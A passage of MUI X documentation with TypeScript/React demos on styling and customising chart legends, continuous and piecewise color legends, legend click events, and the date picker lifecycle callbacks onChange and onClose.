              flexWrap: 'nowrap',
              height: '100%',
            },
          },
        }}
      />
    </Stack>
  );
}

```

### Series styling

You can use CSS to style the series in the legend.
Each legend item has a `data-series` attribute where its value is the ID of the series it represents.

```tsx
import {
  LineChart,
  LineChartProps,
  lineElementClasses,
  markElementClasses,
} from '@mui/x-charts/LineChart';
import { legendClasses } from '@mui/x-charts/ChartsLegend';
import {
  ChartsLabelCustomMarkProps,
  labelMarkClasses,
} from '@mui/x-charts/ChartsLabel';

const monthlySalesData = [
  { month: 'Jan', productA: 120, productB: 90 },
  { month: 'Feb', productA: 130, productB: 100 },
  { month: 'Mar', productA: 125, productB: 110 },
  { month: 'Apr', productA: 150, productB: 95 },
  { month: 'May', productA: 160, productB: 105 },
  { month: 'Jun', productA: 170, productB: 115 },
  { month: 'Jul', productA: 165, productB: 120 },
  { month: 'Aug', productA: 175, productB: 130 },
  { month: 'Sep', productA: 180, productB: 125 },
  { month: 'Oct', productA: 190, productB: 135 },
  { month: 'Nov', productA: 200, productB: 140 },
  { month: 'Dec', productA: 210, productB: 145 },
];

const settings = {
  series: [
    {
      data: monthlySalesData.map((d) => d.productA),
      label: 'Product A',
      id: 'a',
      labelMarkType: Line,
    },
    {
      data: monthlySalesData.map((d) => d.productB),
      label: 'Product B',
      id: 'b',
      labelMarkType: Line,
    },
  ],
  xAxis: [
    {
      scaleType: 'point',
      data: monthlySalesData.map((d) => d.month),
    },
  ],
  yAxis: [{ width: 50, label: 'Sales' }],
  height: 300,
  margin: { right: 24 },
} satisfies LineChartProps;

export default function LegendStyleSeries() {
  return (
    <LineChart
      {...settings}
      sx={{
        [`.${lineElementClasses.root}, .${markElementClasses.root}`]: {
          strokeWidth: 1,
        },
        [`.${lineElementClasses.root}[data-series="a"], .${legendClasses.item}[data-series="a"] .${labelMarkClasses.fill}`]:
          {
            strokeDasharray: '5 5',
          },
        [`.${lineElementClasses.root}[data-series="b"], .${legendClasses.item}[data-series="b"] .${labelMarkClasses.fill}`]:
          {
            strokeDasharray: '3 4 5 2',
          },
        [`.${legendClasses.mark}`]: {
          width: 24,
        },
      }}
    />
  );
}

function Line({ className, color }: ChartsLabelCustomMarkProps) {
  return (
    <svg viewBox="0 0 24 4">
      <line
        className={className}
        x1={0}
        y1={2}
        x2={24}
        y2={2}
        stroke={color}
        strokeWidth={2}
      />
    </svg>
  );
}

```

### Custom component

For advanced customization, you can create your own legend with `useLegend`.
This hook returns the items that the default legend would plot so you can focus on the rendering.

This demo also shows how to use `labelMarkType` together with a custom legend to create a legend with custom shapes.

This approach uses slots to render the legend items.
Another demo in [HTML components docs](/x/react-charts/components/#html-components) shows how to use it with composition.

```tsx
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { useTheme } from '@mui/material/styles';
import { useLegend } from '@mui/x-charts/hooks';
import { LineChart, lineElementClasses } from '@mui/x-charts/LineChart';
import {
  ChartsLabelCustomMarkProps,
  ChartsLabelMark,
} from '@mui/x-charts/ChartsLabel';

function LineWithMark({ color, className }: ChartsLabelCustomMarkProps) {
  return (
    <svg
      viewBox="0 0 24 24"
      stroke={color}
      strokeWidth={3}
      strokeLinecap="round"
      fill="none"
      className={className}
    >
      <path d="M 1 12.5 L 7 12.5 M 17 12.5 L 23 12.5" />
      <circle cx={12} cy={12.5} r={5} />
    </svg>
  );
}

function DashedLine({ color, className }: ChartsLabelCustomMarkProps) {
  return (
    <svg
      viewBox="0 0 24 24"
      stroke={color}
      strokeWidth={3}
      fill="none"
      className={className}
    >
      <path d="M 1 12.5 L 23 12.5" strokeDasharray="5 3" />
    </svg>
  );
}

function MyCustomLegend() {
  const { items } = useLegend();
  return (
    <Stack direction="column" justifySelf={'start'} marginLeft={9}>
      {items.map((item) => {
        const { label, id, color, seriesId, markType } = item;
        return (
          <Box
            key={id}
            sx={{
              display: 'flex',
              alignItems: 'center',
              gap: 1,
              backgroundColor:
                seriesId === 'avg' ? 'rgba(156,40,40,0.5)' : 'transparent',
              padding: 1,
            }}
          >
            <ChartsLabelMark type={markType} color={color} />
            <Typography sx={{ display: 'inline-block' }}>{`${label}`}</Typography>
          </Box>
        );
      })}
    </Stack>
  );
}

const dataset = [
  { month: 'Jan', '1991_2020_avg': 4.1, 2023: 3.9 },
  { month: 'Fev', '1991_2020_avg': 4.7, 2023: 8.9 },
  { month: 'Mar', '1991_2020_avg': 7.5, 2023: 9.5 },
  { month: 'Apr', '1991_2020_avg': 10.6, 2023: 11.5 },
  { month: 'May', '1991_2020_avg': 13.8, 2023: 15.5 },
  { month: 'Jun', '1991_2020_avg': 16.7, 2023: 16.4 },
  { month: 'Jul', '1991_2020_avg': 18.9, 2023: 19.5 },
  { month: 'Aug', '1991_2020_avg': 18.8, 2023: 20.5 },
  { month: 'Sep', '1991_2020_avg': 15.8, 2023: 16.4 },
  { month: 'Oct', '1991_2020_avg': 11.9, 2023: 13.2 },
  { month: 'Nov', '1991_2020_avg': 7.6, 2023: 8.1 },
  { month: 'Dec', '1991_2020_avg': 4.7, 2023: 6.1 },
];

export default function CustomLegend() {
  const theme = useTheme();

  return (
    <Box
      sx={{ height: 300, width: '100%', display: 'flex', flexDirection: 'column' }}
    >
      <LineChart
        dataset={dataset}
        series={[
          {
            id: 'avg',
            label: 'temp. avg. 1991-2020 (°C)',
            dataKey: '1991_2020_avg',
            showMark: false,
            color: theme.palette.text.primary,
            labelMarkType: DashedLine,
          },
          {
            id: '2023-temp',
            label: 'temp. 2023 (°C)',
            dataKey: '2023',
            color: theme.palette.primary.main,
            labelMarkType: LineWithMark,
          },
        ]}
        xAxis={[{ dataKey: 'month', scaleType: 'band', id: 'x-axis' }]}
        sx={{
          [`& .${lineElementClasses.root}[data-series="avg"]`]: {
            strokeDasharray: '10 5',
          },
        }}
        slots={{ legend: MyCustomLegend }}
      />
    </Box>
  );
}

```

## Color legend

To display legend associated to a [colorMap](https://mui.com/x/react-charts/styling/#values-color), you can use:

- `<ContinuousColorLegend />` if you're using `colorMap.type='continuous'`
- `<PiecewiseColorLegend />` if you're using `colorMap.type='piecewise'`.

Then it is possible to override the `legend` slot to display the wanted legend, or use the [composition API](https://mui.com/x/react-charts/composition/) to add as many legends as needed.

```tsx
import { LineChart, LineChartProps } from '@mui/x-charts/LineChart';
import { PiecewiseColorLegend } from '@mui/x-charts/ChartsLegend';
import Stack from '@mui/material/Stack';
import { dataset } from './tempAnomaly';

const data: LineChartProps = {
  dataset,
  series: [
    {
      label: 'Global temperature anomaly relative to 1961-1990',
      dataKey: 'anomaly',
      showMark: false,
      valueFormatter: (value) => `${value?.toFixed(2)}°`,
    },
  ],
  xAxis: [
    {
      scaleType: 'time',
      dataKey: 'year',
      disableLine: true,
      valueFormatter: (value) => value.getFullYear().toString(),
      colorMap: {
        type: 'piecewise',
        thresholds: [new Date(1961, 0, 1), new Date(1990, 0, 1)],
        colors: ['blue', 'gray', 'red'],
      },
    },
  ],
  yAxis: [
    {
      disableLine: true,
      disableTicks: true,
      valueFormatter: (value: number) => `${value}°`,
    },
  ],
  grid: { horizontal: true },
  height: 300,
  margin: { top: 20, right: 20 },
};

export default function VeryBasicColorLegend() {
  return (
    <Stack width={'100%'}>
      <LineChart
        {...data}
        xAxis={[
          {
            ...data.xAxis![0],
            colorMap: {
              type: 'piecewise',
              thresholds: [new Date(1961, 0, 1), new Date(1990, 0, 1)],
              colors: ['blue', 'gray', 'red'],
            },
          },
        ]}
        slots={{ legend: PiecewiseColorLegend }}
        slotProps={{ legend: { axisDirection: 'x' } }}
      />
    </Stack>
  );
}

```

### Select data

To select the color mapping to represent, use the following props:

- `axisDirection` can be `'x'`, `'y'`, or `'z'`. It indicates which axis contain the `colorMap` definition.
- `axisId` The id of the axis to use in case the selected direction contains multiple ones.

```tsx
import Typography from '@mui/material/Typography';
import { LineChart } from '@mui/x-charts/LineChart';
import { ChartsReferenceLine } from '@mui/x-charts/ChartsReferenceLine';
import { PiecewiseColorLegend } from '@mui/x-charts/ChartsLegend';
import Stack from '@mui/material/Stack';
import { dataset } from './tempAnomaly';

export default function BasicColorLegend() {
  return (
    <Stack width="100%">
      <Typography variant="body1">
        Global temperature anomaly relative to 1961-1990 average
      </Typography>
      <LineChart
        dataset={dataset}
        series={[
          {
            label: 'Global temperature anomaly relative to 1961-1990',
            dataKey: 'anomaly',
            showMark: false,
            valueFormatter: (value) => `${value?.toFixed(2)}°`,
          },
        ]}
        xAxis={[
          {
            scaleType: 'time',
            dataKey: 'year',
            disableLine: true,
            valueFormatter: (value) => value.getFullYear().toString(),
            colorMap: {
              type: 'piecewise',
              thresholds: [new Date(1961, 0, 1), new Date(1990, 0, 1)],
              colors: ['blue', 'gray', 'red'],
            },
          },
        ]}
        yAxis={[
          {
            disableLine: true,
            disableTicks: true,
            valueFormatter: (value: number) => `${value}°`,
          },
        ]}
        grid={{ horizontal: true }}
        height={300}
        slotProps={{
          legend: {
            axisDirection: 'x',
            direction: 'vertical',
          },
        }}
        slots={{
          legend: PiecewiseColorLegend,
        }}
      >
        <ChartsReferenceLine y={0} />
      </LineChart>
    </Stack>
  );
}

```

### Position

This component position is done exactly the same way as the [legend for series](#position).

### Label position

The labels can be positioned in relation to the marks or gradient with the `labelPosition` prop.
The general values accepted are `'start'`, `'end'`, `'extremes'`.
While the piecewise legend has two more options, `'inline-start'`, and `'inline-end'`.

- With `direction='horizontal'`, using `'start'` places the labels above the visual marker, while `end` places them below.
- When `direction='vertical'`, is `'start'` or `'end'` the labels are positioned `left` and `right` of the visual markers, respectively.
- With the `'extremes'` value, the labels are positioned at both the beginning and end of the visual marker.

For the piecewise legend, two extra values are accepted

- With `direction='horizontal'`, using `'inline-start'` and `'inline-end'` positions the labels inline with the marker.
- When `direction='vertical'`, it works the same as `'start'` and `'end'`.

```tsx
import { interpolateRdYlBu } from 'd3-scale-chromatic';
import {
  ContinuousColorLegend,
  piecewiseColorDefaultLabelFormatter,
  PiecewiseColorLegend,
  PiecewiseLabelFormatterParams,
} from '@mui/x-charts/ChartsLegend';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import { ChartsAxesGradients } from '@mui/x-charts/internals';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import Divider from '@mui/material/Divider';

export default function LegendLabelPositions() {
  const piecewiseFormatter = (params: PiecewiseLabelFormatterParams) =>
    params.index === 0 || params.index === params.length
      ? piecewiseColorDefaultLabelFormatter(params)
      : '';

  return (
    <ChartDataProvider
      series={[]}
      width={200}
      height={200}
      yAxis={[
        {
          valueFormatter: (value: number) => `${value}°`,
          colorMap: {
            type: 'continuous',
            min: -0.5,
            max: 1.5,
            color: (t) => interpolateRdYlBu(1 - t),
          },
        },
      ]}
      xAxis={[
        {
          valueFormatter: (value: number) => `${value}°`,
          colorMap: {
            type: 'piecewise',
            thresholds: [0, 1.5],
            colors: [
              interpolateRdYlBu(0.9),
              interpolateRdYlBu(0.5),
              interpolateRdYlBu(0.1),
            ],
          },
        },
      ]}
    >
      <Stack direction="column" width="100%" height="100%" gap={4} spacing={2}>
        <Stack direction="column" width="100%" height="100%" gap={2}>
          <Typography variant="h4">Continuous</Typography>
          <Typography variant="h5">Horizontal</Typography>
          <Stack
            direction="row"
            flexWrap="wrap"
            gap={2}
            sx={{ '&>div': { flex: 1 } }}
          >
            <div>
              <Typography>start</Typography>
              <ContinuousColorLegend
                axisDirection="y"
                direction="horizontal"
                labelPosition="start"
              />
            </div>
            <div>
              <Typography>end</Typography>
              <ContinuousColorLegend
                axisDirection="y"
                direction="horizontal"
                labelPosition="end"
              />
            </div>
            <div>
              <Typography>extremes</Typography>
              <ContinuousColorLegend
                axisDirection="y"
                direction="horizontal"
                labelPosition="extremes"
              />
            </div>
          </Stack>
          <Divider />
          <Typography variant="h5">Vertical</Typography>
          <Stack
            direction="row"
            flexWrap="wrap"
            height={150}
            gap={2}
            sx={{
              '&>div': {
                flex: 1,
                height: '100%',
                display: 'flex',
                flexDirection: 'column',
              },
              '& .MuiContinuousColorLegend-root': { flex: 1 },
            }}
          >
            <div>
              <Typography>start</Typography>
              <ContinuousColorLegend
                axisDirection="y"
                direction="vertical"
                labelPosition="start"
              />
            </div>
            <div>
              <Typography>end</Typography>
              <ContinuousColorLegend
                axisDirection="y"
                direction="vertical"
                labelPosition="end"
              />
            </div>
            <div>
              <Typography>extremes</Typography>
              <ContinuousColorLegend
                axisDirection="y"
                direction="vertical"
                labelPosition="extremes"
              />
            </div>
          </Stack>
        </Stack>
        <Stack direction="column" width="100%" height="100%" gap={2}>
          <Typography variant="h4">Piecewise</Typography>
          <Typography variant="h5">Horizontal</Typography>
          <Stack
            direction="row"
            flexWrap="wrap"
            gap={2}
            sx={{ '&>div': { flex: 1 } }}
          >
            <div>
              <Typography>start</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="horizontal"
                labelPosition="start"
                labelFormatter={piecewiseFormatter}
              />
            </div>
            <div>
              <Typography>end</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="horizontal"
                labelPosition="end"
                labelFormatter={piecewiseFormatter}
              />
            </div>
            <div>
              <Typography>extremes</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="horizontal"
                labelPosition="extremes"
                labelFormatter={piecewiseFormatter}
              />
            </div>
            <div>
              <Typography>inline-start</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="horizontal"
                labelPosition="inline-start"
              />
            </div>
            <div>
              <Typography>inline-end</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="horizontal"
                labelPosition="inline-end"
              />
            </div>
          </Stack>
          <Divider />
          <Typography variant="h5">Vertical</Typography>
          <Stack
            direction="row"
            flexWrap="wrap"
            gap={2}
            sx={{
              '&>div': {
                flex: 1,
                height: '100%',
                display: 'flex',
                flexDirection: 'column',
              },
            }}
          >
            <div>
              <Typography>start</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="vertical"
                labelPosition="start"
              />
            </div>
            <div>
              <Typography>end</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="vertical"
                labelPosition="end"
              />
            </div>
            <div>
              <Typography>extremes</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="vertical"
                labelPosition="extremes"
                labelFormatter={piecewiseFormatter}
              />
            </div>
            <div>
              <Typography>inline-start</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="vertical"
                labelPosition="inline-start"
              />
            </div>
            <div>
              <Typography>inline-end</Typography>
              <PiecewiseColorLegend
                axisDirection="x"
                direction="vertical"
                labelPosition="inline-end"
              />
            </div>
          </Stack>
        </Stack>
      </Stack>
      <svg width={0} height={0}>
        <ChartsAxesGradients />
      </svg>
    </ChartDataProvider>
  );
}

```

### Continuous color mapping

To modify the shape of the gradient, use the `length` and `thickness` props.
The `length` can either be a number (in px) or a percentage string. The `"100%"` corresponds to the parent dimension.

To format labels use the `minLabel`/`maxLabel`.
They accept either a string to display.
Or a function `({value, formattedValue}) => string`.

It is also possible to reverse the gradient with the `reverse` prop.

```tsx
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { interpolateRdYlBu } from 'd3-scale-chromatic';
import { LineChart } from '@mui/x-charts/LineChart';
import { ChartsReferenceLine } from '@mui/x-charts/ChartsReferenceLine';
import { ContinuousColorLegend } from '@mui/x-charts/ChartsLegend';
import { dataset } from './tempAnomaly';

export default function ContinuousInteractiveDemo() {
  return (
    <ChartsUsageDemo
      componentName="Legend"
      data={
        {
          direction: {
            knob: 'select',
            defaultValue: 'horizontal',
            options: ['horizontal', 'vertical'],
          },
          labelPosition: {
            knob: 'select',
            defaultValue: 'end',
            options: ['start', 'end', 'extremes'],
          },
          length: {
            knob: 'number',
            defaultValue: 50,
            min: 10,
          },
          thickness: {
            knob: 'number',
            defaultValue: 12,
            min: 1,
            max: 20,
          },
          reverse: {
            knob: 'switch',
            defaultValue: false,
          },
        } as const
      }
      renderDemo={(props) => (
        <LineChart
          dataset={dataset}
          series={[
            {
              label: 'Global temperature anomaly relative to 1961-1990',
              dataKey: 'anomaly',
              showMark: false,
              valueFormatter: (value) => `${value?.toFixed(2)}°`,
            },
          ]}
          xAxis={[
            {
              scaleType: 'time',
              dataKey: 'year',
              disableLine: true,
              valueFormatter: (value) => value.getFullYear().toString(),
            },
          ]}
          yAxis={[
            {
              disableLine: true,
              disableTicks: true,
              valueFormatter: (value: number) => `${value}°`,
              colorMap: {
                type: 'continuous',
                min: -0.5,
                max: 1.5,
                color: (t) => interpolateRdYlBu(1 - t),
              },
            },
          ]}
          grid={{ horizontal: true }}
          height={300}
          slots={{ legend: ContinuousColorLegend }}
          slotProps={{
            legend: {
              axisDirection: 'y',
              direction: props.direction,
              thickness: props.thickness,
              labelPosition: props.labelPosition,
              reverse: props.reverse,
              sx: {
                [props.direction === 'horizontal' ? 'width' : 'height']:
                  `${props.length}${props.direction === 'horizontal' ? '%' : 'px'}`,
              },
            },
          }}
        >
          <ChartsReferenceLine y={0} />
        </LineChart>
      )}
      getCode={({ props }) => {
        return `import { ContinuousColorLegend } from '@mui/x-charts/ChartsLegend';

<LineChart
  {/** ... */}
  slots={{ legend: ContinuousColorLegend }}
  slotProps={{
    legend: {
      axisDirection: 'y',
      direction: '${props.direction}',
      thickness: ${props.thickness},
      labelPosition: '${props.labelPosition}',
      reverse: ${props.reverse},
      sx: { ${props.direction === 'horizontal' ? 'width' : 'height'}: '${props.length}${props.direction === 'horizontal' ? '%' : 'px'}' },
    },
  }}
/>
`;
      }}
    />
  );
}

```

### Piecewise color mapping

The piecewise Legend is quite similar to the series legend.
It accepts the same props for [customization](#dimensions).

To override labels generated by default, provide a `labelFormatter` prop.
It takes the min/max of the piece and returns the label.

Values can be `null` for the first and last pieces.
And returning `null` removes the piece from the legend.
Returning an empty string removes any label, but still display the `mark`.

```ts
labelFormatter = ({ index, length, min, max, formattedMin, formattedMax }) =>
  string | null;
```

The `markType` can be changed with the `markType` prop.
Since the color values are based on the axis, and not the series, the `markType` has to be set directly on the legend.

```tsx
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { LineChart } from '@mui/x-charts/LineChart';
import {
  piecewiseColorDefaultLabelFormatter,
  PiecewiseColorLegend,
} from '@mui/x-charts/ChartsLegend';
import { ChartsReferenceLine } from '@mui/x-charts/ChartsReferenceLine';
import { dataset } from './tempAnomaly';

export default function PiecewiseInteractiveDemo() {
  return (
    <ChartsUsageDemo
      componentName="Legend"
      data={
        {
          direction: {
            knob: 'select',
            defaultValue: 'horizontal',
            options: ['horizontal', 'vertical'],
          },
          labelPosition: {
            knob: 'select',
            defaultValue: 'extremes',
            options: ['start', 'end', 'extremes', 'inline-start', 'inline-end'],
          },
          markType: {
            knob: 'select',
            defaultValue: 'square',
            options: ['square', 'circle', 'line'],
          },
          onlyShowExtremes: {
            knob: 'switch',
            defaultValue: false,
          },
          padding: {
            knob: 'number',
            defaultValue: 0,
          },
        } as const
      }
      renderDemo={(props) => (
        <LineChart
          dataset={dataset}
          series={[
            {
              label: 'Global temperature anomaly relative to 1961-1990',
              dataKey: 'anomaly',
              showMark: false,
              valueFormatter: (value) => `${value?.toFixed(2)}°`,
            },
          ]}
          xAxis={[
            {
              scaleType: 'time',
              dataKey: 'year',
              disableLine: true,
              valueFormatter: (value) => value.getFullYear().toString(),
              colorMap: {
                type: 'piecewise',
                thresholds: [new Date(1961, 0, 1), new Date(1990, 0, 1)],
                colors: ['blue', 'gray', 'red'],
              },
            },
          ]}
          yAxis={[
            {
              disableLine: true,
              disableTicks: true,
              valueFormatter: (value: number) => `${value}°`,
            },
          ]}
          grid={{ horizontal: true }}
          height={300}
          slots={{
            legend: PiecewiseColorLegend,
          }}
          slotProps={{
            legend: {
              axisDirection: 'x',
              direction: props.direction,
              markType: props.markType,
              labelPosition: props.labelPosition,
              labelFormatter: props.onlyShowExtremes
                ? (params) =>
                    params.index === 0 || params.index === params.length
                      ? piecewiseColorDefaultLabelFormatter(params)
                      : ''
                : undefined,
              sx: {
                padding: props.padding,
              },
            },
          }}
        >
          <ChartsReferenceLine y={0} />
        </LineChart>
      )}
      getCode={({ props }) => {
        return `import { 
  PiecewiseColorLegend,
  piecewiseColorDefaultLabelFormatter,
} from '@mui/x-charts/ChartsLegend';

<LineChart
  {/** ... */}
  slots={{ legend: PiecewiseColorLegend }}
  slotProps={{
    legend: {
      axisDirection: 'x',
      direction: '${props.direction}',
      markType: '${props.markType}',
      labelPosition: '${props.labelPosition}',
      sx: { padding: ${props.padding} },${props.onlyShowExtremes ? "\n      labelFormatter: (params) =>\n        params.index === 0 || params.index === params.length\n          ? piecewiseColorDefaultLabelFormatter(params) \n          : ''" : ''}
    },
  }}
/>
`;
      }}
    />
  );
}

```

## Click event

You can pass an `onItemClick` function to the `ChartsLegend` or `PiecewiseColorLegend` components to handle click events.
They both provide the following signature.

```js
const clickHandler = (
  event, // The click event.
  context, // An object that identifies the clicked item.
  index, // The index of the clicked item.
) => {};
```

The `context` object contains different properties depending on the legend type.
Click the legend items to see their content.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import UndoOutlinedIcon from '@mui/icons-material/UndoOutlined';

import { ChartsLegend, PiecewiseColorLegend } from '@mui/x-charts/ChartsLegend';

import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';

const pieSeries = [
  {
    type: 'pie',
    id: 'series-1',
    data: [
      { label: 'Pie A', id: 'P1-A', value: 400 },
      { label: 'Pie B', id: 'P2-B', value: 300 },
    ],
  },
] as const;

const barSeries = [
  {
    type: 'bar',
    id: 'series-1',
    label: 'Series 1',
    data: [0, 1, 2],
  },
  {
    type: 'bar',
    id: 'series-2',
    label: 'Series 2',
    data: [0, 1, 2],
  },
] as const;

const lineSeries = [
  {
    type: 'line',
    id: 'series-1',
    label: 'Series 1',
    data: [0, 1, 2],
  },
  {
    type: 'line',
    id: 'series-2',
    label: 'Series 2',
    data: [0, 1, 2],
  },
] as const;

export default function LegendClick() {
  const [itemData, setItemData] = React.useState<any>();

  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={{ xs: 0, md: 4 }}
      sx={{ width: '100%' }}
    >
      <Box
        sx={{
          flexGrow: 1,
          display: 'flex',
          flexDirection: 'column',
          justifyContent: 'start',
          alignItems: 'start',
        }}
      >
        <Typography>Chart Legend</Typography>
        <ChartDataProvider series={barSeries} width={400} height={60}>
          <ChartsLegend
            direction="horizontal"
            // @ts-ignore
            onItemClick={(event, context, index) => setItemData([context, index])}
          />
        </ChartDataProvider>
        <Typography>Pie Chart Legend</Typography>
        <ChartDataProvider series={pieSeries} width={400} height={60}>
          <ChartsLegend
            direction="horizontal"
            onItemClick={(event, context, index) => setItemData([context, index])}
          />
        </ChartDataProvider>
        <Typography>Piecewise Color Legend</Typography>
        <ChartDataProvider
          // @ts-ignore
          series={lineSeries}
          width={400}
          height={60}
          xAxis={[
            {
              scaleType: 'linear',
              data: [0, 1, 3],
              disableLine: true,
              colorMap: {
                type: 'piecewise',
                thresholds: [0, 2],
                colors: ['blue', 'gray', 'red'],
              },
            },
          ]}
        >
          <PiecewiseColorLegend
            direction="horizontal"
            axisDirection="x"
            // @ts-ignore
            onItemClick={(event, context, index) => setItemData([context, index])}
          />
        </ChartDataProvider>
      </Box>

      <Stack direction="column" sx={{ width: { xs: '100%', md: '40%' } }}>
        <Box
          sx={{
            display: 'flex',
            justifyContent: 'space-between',
            alignItems: 'center',
          }}
        >
          <Typography>Click on the chart</Typography>
          <IconButton
            aria-label="reset"
            size="small"
            onClick={() => {
              // @ts-ignore
              setItemData(null);
            }}
          >
            <UndoOutlinedIcon fontSize="small" />
          </IconButton>
        </Box>
        <HighlightedCode
          code={`// Index from item click: ${itemData ? itemData[1] : ''}

// Context from item click
${itemData ? JSON.stringify(itemData[0], null, 2) : '// The data will appear here'}
`}
          language="json"
          copyButtonHidden
        />
      </Stack>
    </Stack>
  );
}

```

---

# Source: https://mui.com/x/react-date-pickers/lifecycle.md

---
productId: x-date-pickers
title: Components lifecycle
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Components lifecycle

This page explains when the onChange, onAccept, and onClose callbacks are called.

## Lifecycle on simple fields

:::info
The information below is applicable to standalone fields (when rendering `<DateField />`),
as well as to pickers for field editing (when rendering `<DatePicker />` and using the input to edit the value).
:::

The field components have an internal state controlling the visible value.

It will only call the `onChange` callback when:

- the user completes all sections of a field. The value reflects the field.
  - when the date is not parseable, the `onChange` prop receives an `Invalid Date` (for example, if the [year is less than "100"](https://github.com/iamkun/dayjs/issues/1237) in case of `dayjs`).
- the user cleans at least one or all sections of a completed field. The value equals `null`.

The example below shows the last value received by `onChange`.

```tsx
import * as React from 'react';
import { Dayjs } from 'dayjs';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateField } from '@mui/x-date-pickers/DateField';

export default function LifeCycleDateFieldEmpty() {
  const [value, setValue] = React.useState<Dayjs | null>(null);

  return (
    <Stack spacing={2}>
      <LocalizationProvider dateAdapter={AdapterDayjs}>
        <DateField value={value} onChange={setValue} />
      </LocalizationProvider>
      <Typography>Value: {value == null ? 'null' : value.format('L')}</Typography>
    </Stack>
  );
}

```

## Lifecycle on range fields [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

On range fields (`SingleInputDateRangeField` / `MultiInputDateRangeField` / ... ),
`onChange` is called if the date you are modifying matches one of the conditions above, regardless of the other date state.

The example below shows the last value received by `onChange`.
Note how changing the value of the start date section will call `onChange` even if the end date is empty or partially filled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { SingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';
import { DateRange } from '@mui/x-date-pickers-pro/models';

export default function LifeCycleDateRangeField() {
  const [value, setValue] = React.useState<DateRange<Dayjs>>([
    dayjs('2022-04-17'),
    null,
  ]);

  return (
    <Stack spacing={2}>
      <LocalizationProvider dateAdapter={AdapterDayjs}>
        <DemoContainer components={['SingleInputDateRangeField']}>
          <SingleInputDateRangeField value={value} onChange={setValue} />
        </DemoContainer>
      </LocalizationProvider>
      <Typography>
        Value:{' '}
        {value.map((date) => (date == null ? 'null' : date.format('L'))).join(' – ')}
      </Typography>
    </Stack>
  );
}

```

## Lifecycle on pickers: "onClose"

### When is "onClose" called?

:::info
In all the below scenarios, the picker closes when `onClose` is called, except if you are controlling the `open` prop.
:::

#### When the last view is completed

When a selection in the last view is made, `onClose` will be called only if the `closeOnSelect` prop is equal to `true`.
The default value of `closeOnSelect` depends on the component:

- Date Picker and Date Range Picker: `true` on desktop and `false` on mobile variants;
- Time Picker, Date Time Picker, and Date Time Range Picker: `false` on desktop and mobile variants.

  Here are a few examples:

:::info
The examples below are using the desktop and mobile variants of the pickers, but the behavior is exactly the same when using the responsive variant (`DatePicker`, `TimePicker`, ...) on a mobile or desktop environment.
:::

- ```tsx
  <DesktopDatePicker />
  ```

  - Default `views` prop: `['year', 'day']`
  - Default `closeOnSelect` prop: `true`

  **Behavior:** The picker will close when selecting the day.

- ```tsx
  <DesktopDatePicker closeOnSelect={false} />
  ```

  - Default `views` prop: `['year', 'day']`
  - Explicit `closeOnSelect` prop: `false`

  **Behavior:** The picker will not close when selecting a day. The user will have to click on the _OK_ action to close it.

  :::success
  If you want to set `closeOnSelect` to `false` on a desktop picker, you should consider enabling the action bar to let the user validate the value:

  ```tsx
  <DesktopDatePicker
    closeOnSelect={false}
    slotProps={{ actionBar: { actions: ['cancel', 'accept'] } }}
  />
  ```

  :::

- ```tsx
  <MobileDatePicker />
  ```

  - Default `views` prop: `['year', 'day']`
  - Default `closeOnSelect` prop: `false`

  **Behavior:** The picker will not close when selecting a day. The user will have to click on the _OK_ action to close it.

- ```tsx
  <DesktopDatePicker views={['day', 'month', 'year']} />
  ```

  - Explicit `views` prop: `['day', 'month', 'year']`
  - Default `closeOnSelect` prop: `true`

  **Behavior:** The picker will close when selecting the year.

- ```tsx
  <DesktopTimePicker />
  ```

  - Default `views` prop: `['hours', 'minutes']` (plus a `meridiem` view if the locale is in 12-hours format)
  - Default `closeOnSelect` prop: `false`

  **Behavior:** The picker will not close when selecting the minutes or meridiem (if a 12-hour clock is used).

:::info
You don't have to fill all the views for the picker to close automatically.
For example, on the `DatePicker`, the `year` and `month` views are not in the default workflow since they are before the opening view (`day`),
so the picker will close even if you never went to those views.
:::

#### When the picker is manually closed

Pressing <kbd class="key">Escape</kbd> or clicking outside the picker will close the picker.

#### When a value is selected using the action bar

Clicking on any built-in button of the action bar will close the picker.

#### When a shortcut is picked

Clicking on a shortcut will close the picker, except if the `changeImportance` property has been set to `"set"` instead of the default value `"accept"`.
You can find more information [in the dedicated doc section](/x/react-date-pickers/shortcuts/#behavior-when-selecting-a-shortcut).

## Lifecycle on pickers: "onChange"

### Usage

The `onChange` callback is called whenever the current value changes.

If you don't want to listen to the intermediary steps, consider using the [`onAccept` prop](/x/react-date-pickers/lifecycle/#lifecycle-on-pickers-quot-onaccept-quot) instead.

```tsx
<DatePicker onChange={(value) => setValue(value)} />
```

:::success
